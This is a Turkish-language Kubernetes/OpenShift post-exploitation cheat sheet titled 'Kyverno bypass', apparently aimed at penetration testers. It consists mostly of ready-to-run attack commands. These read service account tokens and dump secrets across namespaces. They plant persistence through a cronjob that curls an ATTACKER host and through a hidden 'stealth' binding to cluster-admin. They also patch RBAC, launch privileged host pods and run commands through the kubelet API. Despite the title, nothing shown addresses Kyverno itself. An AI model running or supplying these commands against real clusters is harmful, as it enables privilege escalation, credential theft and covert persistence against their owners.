Kubernetes Kyverno bypass

K8s post-ex

Kubernetes Kyverno bypass — Kubernetes / OpenShift ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

Saldırı akışı

1. Hedef veriyi / trafiği / compute’u seç.

2. Exfil veya yan etki primitifini çalıştır.

3. İkinci hesap / iç ağ pivotunu dene.

4. Kanıt paketini (çıktı, hash, zaman) kaydet.

Kimlik / oturum

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

kubectl config current-context

kubectl auth can-i --list

cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-40

Hedef komutlar

Kubernetes Kyverno bypass için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

kubectl auth can-i create pods --all-namespaces

kubectl auth can-i get secrets --all-namespaces

kubectl auth can-i create clusterrolebinding

kubectl get ns

kubectl get pods,sa,secrets,roles,rolebindings -A

kubectl get clusterroles,clusterrolebindings

kubectl get pods -A -o jsonpath='{.items[*].spec.serviceAccountName}'

cat /var/run/secrets/kubernetes.io/serviceaccount/token

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}

curl -sk -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces

kubectl get secrets -A -o json | jq -r '.items[].data | keys[]' | sort -u

kubectl create -f evil-pod.yaml

kubectl exec -it POD -n NS -- /bin/sh

Kalıcılık / etki

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

kubectl create secret generic backdoor --from-literal=token=x

kubectl create cronjob pwn --image=alpine --schedule='*/30 * * * *' -- /bin/sh -c 'curl ATTACKER'

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: stealth
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: default
  namespace: kube-system
EOF

Secret / credential avı

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'

printenv | sort

find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40

kubectl get secrets -A -o json | jq -r '.items[] | select(.data!=null) | .metadata.namespace + "/" + .metadata.name'

Kanıt

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash

mkdir -p evidence/cloud && tee evidence/cloud/notes.txt

Ek komutlar

kubectl run pwn --image=alpine -i --tty --rm --overrides='{"spec":{"hostNetwork":true,"hostPID":true,"containers":[{"name":"c","image":"alpine","securityContext":{"privileged":true},"command":["sleep","3600"]}]}}'

kubectl patch clusterrolebinding cluster-admin --type='json' -p='[{"op":"add","path":"/subjects/-","value":{"kind":"ServiceAccount","name":"default","namespace":"default"}}]'

curl -k https://$NODE:10250/runningpods/

curl -k -X POST https://$NODE:10250/run/NS/POD/CONTAINER -d 'cmd=id'

kubectl get validatingwebhookconfigurations,mutatingwebhookconfigurations

kubectl get networkpolicies -A

kubectl get scc 2>/dev/null || oc get scc

kubectl auth can-i --list